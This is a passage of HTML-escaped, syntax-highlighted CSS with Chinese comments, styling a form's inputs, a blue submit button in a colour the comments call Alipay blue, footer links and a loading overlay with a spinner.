&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;input-group&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;width&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;padding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;solid&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#ddd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border-radius&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;box-sizing&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;border-box&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;/* 确保padding不撑大宽度 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;outline&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;none&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;input-group&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;nd&#34;&gt;focus&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border-color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#1677ff&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;submit-btn&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;width&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;padding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;background-color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#1677ff&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;white&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;none&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border-radius&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;cursor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;pointer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;transition&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;background-color&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;0.3&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;submit-btn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;nd&#34;&gt;hover&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;background-color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#0e5fd8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;footer-links&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;margin-top&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#888&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c&#34;&gt;/* 加载动画样式 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;loading-overlay&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;fixed&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;top&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;left&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;width&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;height&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;background-color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rgba&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;0.5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;/* 半透明遮罩 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;display&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;flex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;justify-content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;center&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;align-items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;center&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;z-index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;9999&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;/* 确保加载层在最上层 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;opacity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;visibility&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;hidden&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;transition&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;opacity&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;0.3&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;visibility&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;0.3&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;loading-overlay&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;active&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;opacity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;visibility&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;visible&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;loading-card&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;background-color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;white&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;padding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border-radius&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;box-shadow&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rgba&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;0.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;display&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;flex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;align-items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;center&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;gap&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;loading-spinner&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;width&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;height&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;solid&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#e0e0e0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border-top&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;solid&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#1677ff&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;/* 支付宝蓝主色 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border-radius&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;animation&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;spin&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;linear&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;infinite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;loading-text&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#1677ff&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
